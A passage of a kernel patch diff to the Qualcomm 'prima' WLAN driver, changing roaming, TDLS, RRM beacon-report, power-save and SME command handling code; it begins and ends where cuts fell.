Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -1307,6 +1307,8 @@ eHalStatus csrNeighborRoamPrepareScanProfileFilter(tpAniSirGlobal pMac, tCsrScan #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD if (pNeighborRoamInfo->uOsRequestedHandoff) { + + smsLog(pMac, LOG1, FL("OS Requested Handoff")); pScanFilter->BSSIDs.numOfBSSIDs = 1; pScanFilter->BSSIDs.bssid = vos_mem_malloc(sizeof(tSirMacAddr) * pScanFilter->BSSIDs.numOfBSSIDs); if (NULL == pScanFilter->BSSIDs.bssid) @@ -1379,6 +1381,10 @@ eHalStatus csrNeighborRoamPrepareScanProfileFilter(tpAniSirGlobal pMac, tCsrScan pScanFilter->ChannelInfo.numOfChannels = 0; pScanFilter->ChannelInfo.ChannelList = NULL; } +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + if (pMac->PERroamCandidatesCnt) + pScanFilter->isPERRoamScan = true; +#endif #ifdef WLAN_FEATURE_VOWIFI_11R if (pNeighborRoamInfo->is11rAssoc) { @@ -3089,7 +3095,7 @@ void csrForcedInitialRoamTo5GHTimerCallback(void *context) return; } - pNeighborRoamInfo->scanRequestTimeStamp = (tANI_TIMESTAMP)palGetTickCount(pMac->hHdd); + pNeighborRoamInfo->scanRequestTimeStamp = vos_timer_get_system_time(); /* * We are about to start a fresh scan cycle for all valid channles for 5Ghz * purge non-P2P results from the past for 5Ghz band @@ -3461,7 +3467,8 @@ void csrNeighborRoamRRMNeighborReportResult(void *context, VOS_STATUS vosStatus) } /* We are gonna scan now. Remember the time stamp to filter out results only after this timestamp */ - pNeighborRoamInfo->scanRequestTimeStamp = (tANI_TIMESTAMP)palGetTickCount(pMac->hHdd); + pNeighborRoamInfo->scanRequestTimeStamp = + vos_timer_get_system_time(); /* Now ready for neighbor scan based on the channel list created */ /* Start Neighbor scan timer now. Multiplication by PAL_TIMER_TO_MS_UNIT is to convert ms to us which is @@ -3863,7 +3870,8 @@ VOS_STATUS csrNeighborRoamTransitToCFGChanScan(tpAniSirGlobal pMac) pNeighborRoamInfo->lookupDOWNRssi, pNeighborRoamInfo->cfgParams.neighborReassocThreshold*(-1)); - pNeighborRoamInfo->scanRequestTimeStamp = (tANI_TIMESTAMP)palGetTickCount(pMac->hHdd); + pNeighborRoamInfo->scanRequestTimeStamp = + vos_timer_get_system_time(); vos_timer_stop(&pNeighborRoamInfo->neighborScanTimer); @@ -4048,7 +4056,7 @@ VOS_STATUS csrNeighborRoamTransitToCFGChanScan(tpAniSirGlobal pMac) } /* We are gonna scan now. Remember the time stamp to filter out results only after this timestamp */ - pNeighborRoamInfo->scanRequestTimeStamp = (tANI_TIMESTAMP)palGetTickCount(pMac->hHdd); + pNeighborRoamInfo->scanRequestTimeStamp = vos_timer_get_system_time(); vos_timer_stop(&pNeighborRoamInfo->neighborScanTimer); /* Start Neighbor scan timer now. Multiplication by PAL_TIMER_TO_MS_UNIT is to convert ms to us which is @@ -4913,7 +4921,7 @@ eHalStatus csrNeighborRoamInit(tpAniSirGlobal pMac) } #endif /* Initialize this with the current tick count */ - pNeighborRoamInfo->scanRequestTimeStamp = (tANI_TIMESTAMP)palGetTickCount(pMac->hHdd); + pNeighborRoamInfo->scanRequestTimeStamp = vos_timer_get_system_time(); CSR_NEIGHBOR_ROAM_STATE_TRANSITION(eCSR_NEIGHBOR_ROAM_STATE_INIT) pNeighborRoamInfo->roamChannelInfo.IAPPNeighborListReceived = eANI_BOOLEAN_FALSE; @@ -5338,6 +5346,10 @@ eHalStatus csrNeighborRoamProcessHandoffReq(tpAniSirGlobal pMac) tCsrRoamProfile *pProfile = NULL; tCsrRoamSession *pSession = CSR_GET_SESSION( pMac, pNeighborRoamInfo->csrSessionId ); tANI_U8 i = 0; + uint8_t roam_now = 0; + uint8_t roamable_ap_count = 0; + tCsrScanResultFilter scan_filter; + tScanResultHandle scan_result; if (NULL == pSession) { @@ -5393,13 +5405,30 @@ eHalStatus csrNeighborRoamProcessHandoffReq(tpAniSirGlobal pMac) } pProfile->ChannelInfo.ChannelList[0] = pNeighborRoamInfo->handoffReqInfo.channel; - //clean up csr cache first - //csrScanFlushSelectiveResult(pMac, VOS_FALSE); - //do a SSID scan - status = csrScanForSSID(pMac, pNeighborRoamInfo->csrSessionId, pProfile, roamId, FALSE); - if(!HAL_STATUS_SUCCESS(status)) - { - smsLog(pMac, LOGE, FL("SSID scan failed")); + /* + * For User space connect requests, the scan has already been done. + * So, check if the BSS descriptor exists in the scan cache and + * proceed with the handoff instead of a redundant scan again. + */ + if (pNeighborRoamInfo->handoffReqInfo.src == CONNECT_CMD_USERSPACE) { + smsLog(pMac, LOG1, FL("Connect cmd with bssid within same ESS")); + status = csrNeighborRoamPrepareScanProfileFilter( + pMac, &scan_filter); + smsLog(pMac, LOG1, FL("Filter creation status = %d"), status); + status = csrScanGetResult(pMac, &scan_filter, &scan_result); + roam_now = csrNeighborRoamProcessScanResults(pMac, &scan_result); + roamable_ap_count = csrLLCount(&pNeighborRoamInfo->roamableAPList); + csrFreeScanFilter(pMac, &scan_filter); + smsLog(pMac, LOG1, FL("roam_now=%d, roamable_ap_count=%d"), + roam_now, roamable_ap_count); + } + if (roam_now && roamable_ap_count) { + csrNeighborRoamTriggerHandoff(pMac, pNeighborRoamInfo); + } else { + status = csrScanForSSID(pMac, pSession->sessionId, + pProfile, roamId, FALSE); + if(!HAL_STATUS_SUCCESS(status)) + smsLog(pMac, LOGE, FL("SSID scan failed")); } }while(0); @@ -5464,6 +5493,30 @@ eHalStatus csrNeighborRoamSssidScanDone(tpAniSirGlobal pMac, eHalStatus status) return eHAL_STATUS_SUCCESS; } +/** + * csr_neighbor_roam_handler_assign_handoff_src() - Assign source of + * roam handoff + * @pNeighborRoamInfo: Pointer to csr neighbor roam control info + * @pHandoffReqInfo: Pointer to the Handoff request + * + * Return: None + */ +#ifndef QCA_WIFI_ISOC +static inline void csr_neighbor_roam_handler_assign_handoff_src( + tpCsrNeighborRoamControlInfo pNeighborRoamInfo, + tAniHandoffReq *pHandoffReqInfo) +{ + pNeighborRoamInfo->handoffReqInfo.src + = pHandoffReqInfo->handoff_src; +} +#else +static inline void csr_neighbor_roam_handler_assign_handoff_src( + tpCsrNeighborRoamControlInfo pNeighborRoamInfo, + tAniHandoffReq *pHandoffReqInfo) +{ +} +#endif + /* --------------------------------------------------------------------------- \fn csrNeighborRoamHandoffReqHdlr @@ -5501,6 +5554,8 @@ eHalStatus csrNeighborRoamHandoffReqHdlr(tpAniSirGlobal pMac, void* pMsg) { pNeighborRoamInfo->handoffReqInfo.channel = pHandoffReqInfo->channel; + csr_neighbor_roam_handler_assign_handoff_src(pNeighborRoamInfo, + pHandoffReqInfo); vos_mem_copy(pNeighborRoamInfo->handoffReqInfo.bssid, pHandoffReqInfo->bssid, 6); diff --git a/drivers/staging/prima/CORE/SME/src/csr/csrTdlsProcess.c b/drivers/staging/prima/CORE/SME/src/csr/csrTdlsProcess.c index a5504d3ac085b..77a084d3de8cc 100644 --- a/drivers/staging/prima/CORE/SME/src/csr/csrTdlsProcess.c +++ b/drivers/staging/prima/CORE/SME/src/csr/csrTdlsProcess.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -664,61 +664,29 @@ eHalStatus csrTdlsProcessDelSta( tpAniSirGlobal pMac, tSmeCmd *cmd ) eHalStatus csrTdlsProcessCmd(tpAniSirGlobal pMac, tSmeCmd *cmd) { eSmeCommandType cmdType = cmd->command ; - tANI_BOOLEAN status = eANI_BOOLEAN_TRUE; + eHalStatus status = eHAL_STATUS_SUCCESS; switch(cmdType) { case eSmeCommandTdlsSendMgmt: - { - status = csrTdlsProcessSendMgmt( pMac, cmd ); - if(HAL_STATUS_SUCCESS( status ) ) - { - status = eANI_BOOLEAN_FALSE ; - } - } + status = csrTdlsProcessSendMgmt(pMac, cmd); break ; case eSmeCommandTdlsAddPeer: - { - status = csrTdlsProcessAddSta( pMac, cmd ); - if(HAL_STATUS_SUCCESS( status ) ) - { - status = eANI_BOOLEAN_FALSE ; - } - } + status = csrTdlsProcessAddSta(pMac, cmd); break; case eSmeCommandTdlsDelPeer: - { - status = csrTdlsProcessDelSta( pMac, cmd ); - if(HAL_STATUS_SUCCESS( status ) ) - { - status = eANI_BOOLEAN_FALSE ; - } - } + status = csrTdlsProcessDelSta(pMac, cmd); break; case eSmeCommandTdlsLinkEstablish: - { - status = csrTdlsProcessLinkEstablish( pMac, cmd ); - if(HAL_STATUS_SUCCESS( status ) ) - { - status = eANI_BOOLEAN_FALSE ; - } - } + status = csrTdlsProcessLinkEstablish(pMac, cmd); break; // tdlsoffchan case eSmeCommandTdlsChannelSwitch: - { - status = csrTdlsProcessChanSwitchReq( pMac, cmd ); - if(HAL_STATUS_SUCCESS( status ) ) - { - status = eANI_BOOLEAN_FALSE ; - } - } + status = csrTdlsProcessChanSwitchReq(pMac, cmd); break; default: - { + status = eHAL_STATUS_FAILURE; /* TODO: Add defualt handling */ break ; - } - } return status ; } @@ -945,6 +913,11 @@ eHalStatus tdlsMsgProcessor(tpAniSirGlobal pMac, v_U16_t msgType, roamInfo.staId = delStaRsp->staId ; roamInfo.statusCode = delStaRsp->statusCode ; #endif + vos_mem_copy(&roamInfo.peerMac, linkEstablishReqRsp->peerMac, + sizeof(tSirMacAddr)) ; + roamInfo.staId = (tANI_U8)linkEstablishReqRsp->sta_idx; + roamInfo.statusCode = linkEstablishReqRsp->statusCode; + csrRoamCallCallback(pMac, linkEstablishReqRsp->sessionId, &roamInfo, 0, eCSR_ROAM_TDLS_STATUS_UPDATE, eCSR_ROAM_RESULT_LINK_ESTABLISH_REQ_RSP); @@ -966,6 +939,19 @@ eHalStatus tdlsMsgProcessor(tpAniSirGlobal pMac, v_U16_t msgType, eCSR_ROAM_TDLS_STATUS_UPDATE, eCSR_ROAM_RESULT_LINK_ESTABLISH_REQ_RSP); #endif + tSirTdlsChanSwitchReqRsp *ChanSwitchReqRsp = + (tSirTdlsChanSwitchReqRsp *) pMsgBuf ; + tCsrRoamInfo roamInfo = {0} ; + + vos_mem_copy(&roamInfo.peerMac, ChanSwitchReqRsp->peerMac, + sizeof(tSirMacAddr)); + roamInfo.staId = (tANI_U8)ChanSwitchReqRsp->sta_idx; + roamInfo.statusCode = ChanSwitchReqRsp->statusCode; + + csrRoamCallCallback(pMac, ChanSwitchReqRsp->sessionId, &roamInfo, 0, + eCSR_ROAM_TDLS_STATUS_UPDATE, + eCSR_ROAM_RESULT_CHANNEL_SWITCH_REQ_RSP); + /* remove pending eSmeCommandTdlsChanSwitch command */ csrTdlsRemoveSmeCmd(pMac, eSmeCommandTdlsChannelSwitch); break; diff --git a/drivers/staging/prima/CORE/SME/src/csr/csrUtil.c b/drivers/staging/prima/CORE/SME/src/csr/csrUtil.c index 3e2732f81a4a4..52687fe9c68e4 100644 --- a/drivers/staging/prima/CORE/SME/src/csr/csrUtil.c +++ b/drivers/staging/prima/CORE/SME/src/csr/csrUtil.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -2064,7 +2064,7 @@ eHalStatus csrParseBssDescriptionIEs(tHalHandle hHal, tSirBssDescription *pBssDe { eHalStatus status = eHAL_STATUS_FAILURE; tpAniSirGlobal pMac = PMAC_STRUCT( hHal ); - int ieLen = (int)(pBssDesc->length + sizeof( pBssDesc->length ) - GET_FIELD_OFFSET( tSirBssDescription, ieFields )); + int ieLen = (int)GET_IE_LEN_IN_BSS(pBssDesc->length); if(ieLen > 0 && pIEStruct) { diff --git a/drivers/staging/prima/CORE/SME/src/pmc/pmc.c b/drivers/staging/prima/CORE/SME/src/pmc/pmc.c index 6aa3b8bfdf6df..f87339e92b2d2 100644 --- a/drivers/staging/prima/CORE/SME/src/pmc/pmc.c +++ b/drivers/staging/prima/CORE/SME/src/pmc/pmc.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -663,7 +663,7 @@ tANI_BOOLEAN pmcPowerSaveCheck (tHalHandle hHal) { if (!checkRoutine(pPowerSaveCheckEntry->checkContext)) { - pmcLog(pMac, LOGE, FL("pmcPowerSaveCheck fail!")); + pmcLog(pMac, LOG1, FL("pmcPowerSaveCheck fail!")); bResult = FALSE; break; } @@ -989,11 +989,12 @@ void pmcTrafficTimerExpired (tHalHandle hHal) return; } - /* Untill DHCP is not completed remain in power active */ - if(pMac->pmc.remainInPowerActiveTillDHCP) + /* Untill DHCP and set key is not completed remain in power active */ + if (pMac->pmc.remainInPowerActiveTillDHCP || pMac->pmc.full_power_till_set_key) { - pmcLog(pMac, LOG1, FL("BMPS Traffic Timer expired before DHCP" - " completion ignore enter BMPS")); + pmcLog(pMac, LOG1, + FL("BMPS Traffic Timer expired before DHCP (%d) or set key (%d) completion ignore enter BMPS"), + pMac->pmc.remainInPowerActiveTillDHCP, pMac->pmc.full_power_till_set_key); pMac->pmc.remainInPowerActiveThreshold++; if( pMac->pmc.remainInPowerActiveThreshold >= DHCP_REMAIN_POWER_ACTIVE_THRESHOLD) { @@ -1001,6 +1002,7 @@ void pmcTrafficTimerExpired (tHalHandle hHal) FL("Remain in power active DHCP threshold reached FALLBACK to enable enter BMPS")); /*FALLBACK: reset the flag to make BMPS entry possible*/ pMac->pmc.remainInPowerActiveTillDHCP = FALSE; + pMac->pmc.full_power_till_set_key = false; pMac->pmc.remainInPowerActiveThreshold = 0; } //Activate the Traffic Timer again for entering into BMPS @@ -1037,8 +1039,11 @@ void pmcTrafficTimerExpired (tHalHandle hHal) } else { - /*Some module voted against Power Save. So timer should be restarted again to retry BMPS */ - pmcLog(pMac, LOGE, FL("Power Save check failed. Retry BMPS again later")); + /*Some module voted against Power Save. + * So timer should be restarted again to retry BMPS + */ + pmcLog(pMac, LOGW, + FL("Power Save check failed. Retry BMPS again later")); //Since hTrafficTimer is a vos_timer now, we need to restart the timer here vosStatus = vos_timer_start(&pMac->pmc.hTrafficTimer, pMac->pmc.bmpsConfig.trafficMeasurePeriod); if ( !VOS_IS_STATUS_SUCCESS(vosStatus) && (VOS_STATUS_E_ALREADY != vosStatus) ) @@ -2491,10 +2496,10 @@ tANI_BOOLEAN pmcShouldBmpsTimerRun( tpAniSirGlobal pMac ) return eANI_BOOLEAN_FALSE; } - if(pMac->pmc.isHostPsEn && pMac->pmc.remainInPowerActiveTillDHCP) + if (pMac->pmc.isHostPsEn && pMac->pmc.remainInPowerActiveTillDHCP) { pmcLog(pMac, LOG1, - FL("Host controlled ps enabled and host wants active mode, so dont allow BMPS")); + FL("Host controlled ps enabled, so don't run the timer")); return eANI_BOOLEAN_FALSE; } diff --git a/drivers/staging/prima/CORE/SME/src/pmc/pmcApi.c b/drivers/staging/prima/CORE/SME/src/pmc/pmcApi.c index 160c9917c71e7..406317df43f9d 100644 --- a/drivers/staging/prima/CORE/SME/src/pmc/pmcApi.c +++ b/drivers/staging/prima/CORE/SME/src/pmc/pmcApi.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -205,6 +205,7 @@ eHalStatus pmcStart (tHalHandle hHal) pMac->pmc.wowlExitSrc = eWOWL_EXIT_USER; pMac->pmc.bmpsRequestedByHdd = FALSE; pMac->pmc.remainInPowerActiveTillDHCP = FALSE; + pMac->pmc.full_power_till_set_key = false; pMac->pmc.remainInPowerActiveThreshold = 0; /* WLAN Switch initial states. */ @@ -2203,18 +2204,12 @@ eHalStatus pmcWowlAddBcastPattern ( if(pattern == NULL) { pmcLog(pMac, LOGE, FL("Null broadcast pattern being passed")); -#ifdef FEATURE_WLAN_DIAG_SUPPORT - WLAN_VOS_DIAG_LOG_FREE(log_ptr); -#endif return eHAL_STATUS_FAILURE; } if( pSession == NULL) { pmcLog(pMac, LOGE, FL("Session not found ")); -#ifdef FEATURE_WLAN_DIAG_SUPPORT - WLAN_VOS_DIAG_LOG_FREE(log_ptr); -#endif return eHAL_STATUS_FAILURE; } diff --git a/drivers/staging/prima/CORE/SME/src/rrm/sme_rrm.c b/drivers/staging/prima/CORE/SME/src/rrm/sme_rrm.c index 5988d675c98b9..af18b4f41ec93 100644 --- a/drivers/staging/prima/CORE/SME/src/rrm/sme_rrm.c +++ b/drivers/staging/prima/CORE/SME/src/rrm/sme_rrm.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -75,6 +75,9 @@ #ifdef FEATURE_WLAN_ESE #define RRM_ROAM_SCORE_NEIGHBOR_IAPP_LIST 30 #endif + +v_TIME_t RRM_scan_timer; + /**--------------------------------------------------------------------------- \brief rrmLLPurgeNeighborCache() - @@ -467,6 +470,7 @@ static eHalStatus sme_RrmSendScanResult( tpAniSirGlobal pMac, tANI_U8 counter=0; tpRrmSMEContext pSmeRrmContext = &pMac->rrm.rrmSmeContext; tANI_U32 sessionId; + tCsrRoamInfo *roam_info; #if defined WLAN_VOWIFI_DEBUG smsLog( pMac, LOGE, "Send scan result to PE "); @@ -517,6 +521,8 @@ static eHalStatus sme_RrmSendScanResult( tpAniSirGlobal pMac, #endif } + smsLog(pMac, LOG1, FL("RRM Measurement Done %d"), measurementDone); + if (NULL == pResult) { // no scan results @@ -572,32 +578,59 @@ static eHalStatus sme_RrmSendScanResult( tpAniSirGlobal pMac, while (pScanResult) { pNextResult = sme_ScanResultGetNext(pMac, pResult); - pScanResultsArr[counter++] = pScanResult; + smsLog(pMac, LOG1, "Scan res timer:%lu, rrm scan timer:%lu", + pScanResult->timer, RRM_scan_timer); + if (pScanResult->timer >= RRM_scan_timer) { + roam_info = vos_mem_malloc(sizeof(*roam_info)); + if (NULL == roam_info) { + smsLog(pMac, LOGW, FL("vos_mem_malloc failed:")); + status = eHAL_STATUS_FAILED_ALLOC; + goto rrm_send_scan_results_done; + } + vos_mem_zero(roam_info, sizeof(*roam_info)); + roam_info->pBssDesc = &pScanResult->BssDescriptor; + csrRoamCallCallback(pMac, sessionId, roam_info, 0, + eCSR_ROAM_UPDATE_SCAN_RESULT, eCSR_ROAM_RESULT_NONE); + vos_mem_free(roam_info); + pScanResultsArr[counter++] = pScanResult; + } pScanResult = pNextResult; //sme_ScanResultGetNext(hHal, pResult); if (counter >= SIR_BCN_REPORT_MAX_BSS_DESC) break; } - if (counter) - { - smsLog(pMac, LOG1, " Number of BSS Desc with RRM Scan %d ", counter); + smsLog(pMac, LOG1, " Number of BSS Desc with RRM Scan %d ", counter); + /* + * The beacon report should be sent whether the counter is zero or non-zero. + * There might be a few scan results in the cache but not actually are a + * result of this scan. During that scenario, the counter will be zero. + * The report should be sent and LIM will further cleanup the RRM to + * accept the further incoming requests + * In case the counter is Zero, the pScanResultsArr will be NULL. + * The next level routine does a check for the measurementDone to determine + * whether to send a report or not. + */ + + if (counter || measurementDone) { #if defined(FEATURE_WLAN_ESE_UPLOAD) - if (eRRM_MSG_SOURCE_ESE_UPLOAD == pSmeRrmContext->msgSource) - { - status = sme_EseSendBeaconReqScanResults(pMac, + if (eRRM_MSG_SOURCE_ESE_UPLOAD == pSmeRrmContext->msgSource) + { + status = sme_EseSendBeaconReqScanResults(pMac, sessionId, chanList[0], pScanResultsArr, measurementDone, counter); - } - else + } + else #endif /*FEATURE_WLAN_ESE_UPLOAD*/ - status = sme_RrmSendBeaconReportXmitInd( pMac, + status = sme_RrmSendBeaconReportXmitInd( pMac, pScanResultsArr, measurementDone, counter); } + +rrm_send_scan_results_done: sme_ScanResultPurge(pMac, pResult); return status; @@ -738,6 +771,8 @@ eHalStatus sme_RrmIssueScanReq( tpAniSirGlobal pMac ) scanRequest.scanType, scanRequest.maxChnTime ); + RRM_scan_timer = vos_timer_get_system_time(); + #if defined WLAN_VOWIFI_DEBUG smsLog( pMac, LOGE, "For Duration %d ", scanRequest.maxChnTime ); #endif @@ -769,6 +804,11 @@ eHalStatus sme_RrmIssueScanReq( tpAniSirGlobal pMac ) } else if (2 == scanType) /* beacon table */ { + /*In beacon table mode, scan results are taken directly from scan cache + without issuing any scan request. So, it is not proper to update + RRM_scan_timer with latest time and hence made it to zero to satisfy + pScanResult->timer >= RRM_scan_timer */ + RRM_scan_timer = 0; if ((pSmeRrmContext->currentIndex + 1) < pSmeRrmContext->channelList.numOfChannels) { sme_RrmSendScanResult( pMac, 1, &pSmeRrmContext->channelList.ChannelList[pSmeRrmContext->currentIndex], false ); diff --git a/drivers/staging/prima/CORE/SME/src/sme_common/sme_Api.c b/drivers/staging/prima/CORE/SME/src/sme_common/sme_Api.c index 88543a1391635..9bd97e59a2ace 100644 --- a/drivers/staging/prima/CORE/SME/src/sme_common/sme_Api.c +++ b/drivers/staging/prima/CORE/SME/src/sme_common/sme_Api.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -270,7 +270,7 @@ static void purgeSmeCmdList(tpAniSirGlobal pMac) } void purgeSmeSessionCmdList(tpAniSirGlobal pMac, tANI_U32 sessionId, - tDblLinkList *pList) + tDblLinkList *pList, bool flush_all) { //release any out standing commands back to free command list tListElem *pEntry, *pNext; @@ -290,6 +290,12 @@ void purgeSmeSessionCmdList(tpAniSirGlobal pMac, tANI_U32 sessionId, { pNext = csrLLNext(pList, pEntry, LL_ACCESS_NOLOCK); pCommand = GET_BASE_ADDR( pEntry, tSmeCmd, Link ); + if (!flush_all && + csr_is_disconnect_full_power_cmd(pCommand)) { + smsLog(pMac, LOGW, FL(" Ignore disconnect")); + pEntry = pNext; + continue; + } if(pCommand->sessionId == sessionId) { if(csrLLRemoveEntry(pList, pEntry, LL_ACCESS_NOLOCK)) @@ -464,8 +470,20 @@ tSmeCmd *smeGetCommandBuffer( tpAniSirGlobal pMac ) smeCommandQueueFull++; csrLLUnlock(&pMac->roam.roamCmdPendingList); - /* panic with out-of-command */ - VOS_BUG(0); + vos_state_info_dump_all(); + + if (pMac->roam.configParam.enableFatalEvent) + { + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_SME_OUT_OF_CMD_BUF, + FALSE, FALSE); + } + else + { + /* Trigger SSR */ + vos_wlanRestart(); + } } if( pRetCmd ) @@ -1210,12 +1228,16 @@ tANI_BOOLEAN smeProcessCommand( tpAniSirGlobal pMac ) case eSmeCommandTdlsDelPeer: case eSmeCommandTdlsLinkEstablish: case eSmeCommandTdlsChannelSwitch: // tdlsoffchan + smsLog(pMac, LOG1, + FL("sending TDLS Command 0x%x to PE"), + pCommand->command); + csrLLUnlock(&pMac->sme.smeCmdActiveList); + status = csrTdlsProcessCmd(pMac, pCommand); + if(!HAL_STATUS_SUCCESS(status)) { - VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_INFO, - "sending TDLS Command 0x%x to PE", pCommand->command); - - csrLLUnlock( &pMac->sme.smeCmdActiveList ); - status = csrTdlsProcessCmd( pMac, pCommand ); + if(csrLLRemoveEntry(&pMac->sme.smeCmdActiveList, + &pCommand->Link, LL_ACCESS_LOCK)) + csrReleaseCommand(pMac, pCommand); } break ; #endif @@ -1417,6 +1439,9 @@ eHalStatus sme_Open(tHalHandle hHal) #endif sme_p2pOpen(pMac); smeTraceInit(pMac); +#ifdef SME_TRACE_RECORD + sme_register_debug_callback(); +#endif }while (0); @@ -1813,6 +1838,61 @@ eHalStatus sme_HDDReadyInd(tHalHandle hHal) return status; } +/** + * sme_set_allowed_action_frames() - Set allowed action frames to FW + * + * @hal: Handler to HAL + * + * This function conveys the list of action frames that needs to be forwarded + * to driver by FW. Rest of the action frames can be dropped in FW.Bitmask is + * set with ALLOWED_ACTION_FRAMES_BITMAP + * + * Return: None + */ +static void sme_set_allowed_action_frames(tHalHandle hal) +{ + eHalStatus status; + tpAniSirGlobal mac = PMAC_STRUCT(hal); + vos_msg_t vos_message; + VOS_STATUS vos_status; + struct sir_allowed_action_frames *sir_allowed_action_frames; + + sir_allowed_action_frames = + vos_mem_malloc(sizeof(*sir_allowed_action_frames)); + if (!sir_allowed_action_frames) { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "Not able to allocate memory for WDA_SET_ALLOWED_ACTION_FRAMES_IND"); + return; + } + + vos_mem_zero(sir_allowed_action_frames, sizeof(*sir_allowed_action_frames)); + sir_allowed_action_frames->bitmask = ALLOWED_ACTION_FRAMES_BITMAP; + sir_allowed_action_frames->reserved = 0; + + status = sme_AcquireGlobalLock(&mac->sme); + if (status == eHAL_STATUS_SUCCESS) { + /* serialize the req through MC thread */ + vos_message.bodyptr = sir_allowed_action_frames; + vos_message.type = WDA_SET_ALLOWED_ACTION_FRAMES_IND; + MTRACE(vos_trace(VOS_MODULE_ID_SME, + TRACE_CODE_SME_TX_WDA_MSG, + NO_SESSION, vos_message.type)); + vos_status = vos_mq_post_message(VOS_MQ_ID_WDA, &vos_message); + if (!VOS_IS_STATUS_SUCCESS(vos_status)) { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "Not able to post WDA_SET_ALLOWED_ACTION_FRAMES_IND message to HAL"); + vos_mem_free(sir_allowed_action_frames); + } + + sme_ReleaseGlobalLock( &mac->sme ); + } else { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, "%s: " + "sme_AcquireGlobalLock error", __func__); + vos_mem_free(sir_allowed_action_frames); + } + return; +} + /*-------------------------------------------------------------------------- \brief sme_Start() - Put all SME modules at ready state. @@ -1858,6 +1938,8 @@ eHalStatus sme_Start(tHalHandle hHal) pMac->sme.state = SME_STATE_START; }while (0); + sme_set_allowed_action_frames(hHal); + return status; } @@ -2077,6 +2159,31 @@ eHalStatus sme_SetEseBeaconRequest(tHalHandle hHal, const tANI_U8 sessionId, #endif /* FEATURE_WLAN_ESE && FEATURE_WLAN_ESE_UPLOAD */ +#ifdef WLAN_FEATURE_RMC +eHalStatus sme_IbssPeerInfoResponseHandleer( tHalHandle hHal, + tpSirIbssGetPeerInfoRspParams pIbssPeerInfoParams) +{ + tpAniSirGlobal pMac = PMAC_STRUCT( hHal ); + + if (NULL == pMac) + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_FATAL, + "%s: pMac is null", __func__); + return eHAL_STATUS_FAILURE; + } + if (pMac->sme.peerInfoParams.peerInfoCbk == NULL) + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "%s: HDD callback is null", __func__); + return eHAL_STATUS_FAILURE; + } + pMac->sme.peerInfoParams.peerInfoCbk(pMac->sme.peerInfoParams.pUserData, + &pIbssPeerInfoParams->ibssPeerInfoRspParams); + return eHAL_STATUS_SUCCESS; +} +#endif /* WLAN_FEATURE_RMC */ + + /* --------------------------------------------------------------------------- \fn sme_getBcnMissRate \brief function sends 'WDA_GET_BCN_MISS_RATE_REQ' to WDA layer, @@ -2580,6 +2687,25 @@ eHalStatus sme_ProcessMsg(tHalHandle hHal, vos_msg_t* pMsg) break; #endif /* FEATURE_WLAN_LPHB */ +#ifdef WLAN_FEATURE_RMC + case eWNI_SME_IBSS_PEER_INFO_RSP: + MTRACE(vos_trace(VOS_MODULE_ID_SME, + TRACE_CODE_SME_RX_WDA_MSG, NO_SESSION, pMsg->type)); + if (pMsg->bodyptr) + { + sme_IbssPeerInfoResponseHandleer(pMac, pMsg->bodyptr); + vos_mem_free(pMsg->bodyptr); + } + else + { + smsLog(pMac, LOGE, + "Empty rsp message for (eWNI_SME_IBSS_PEER_INFO_RSP)," + " nothing to process"); + } + break ; + +#endif /* WLAN_FEATURE_RMC */ + #ifdef FEATURE_WLAN_CH_AVOID /* LPHB timeout indication arrived, send IND to client */ case eWNI_SME_CH_AVOID_IND: @@ -3613,6 +3739,29 @@ void sme_abortConnection(tHalHandle hHal, tANI_U8 sessionId) return; } +/* sme_dhcp_done_ind() - send dhcp done ind + * @hal: hal context + * @session_id: session id + * + * Return: void. + */ +void sme_dhcp_done_ind(tHalHandle hal, uint8_t session_id) +{ + tpAniSirGlobal mac_ctx = PMAC_STRUCT(hal); + tCsrRoamSession *session; + + if (!mac_ctx) + return; + + session = CSR_GET_SESSION(mac_ctx, session_id); + if(!session) + { + smsLog(mac_ctx, LOGE, FL(" session %d not found "), session_id); + return; + } + session->dhcp_done = true; +} + /* --------------------------------------------------------------------------- \fn sme_RoamStopBss \brief To stop BSS for Soft AP. This is an asynchronous API. @@ -5973,7 +6122,6 @@ eHalStatus sme_DHCPStopInd( tHalHandle hHal, MTRACE(vos_trace(VOS_MODULE_ID_SME, TRACE_CODE_SME_TX_WDA_MSG, sessionId, vosMessage.type)); - vosStatus = vos_mq_post_message( 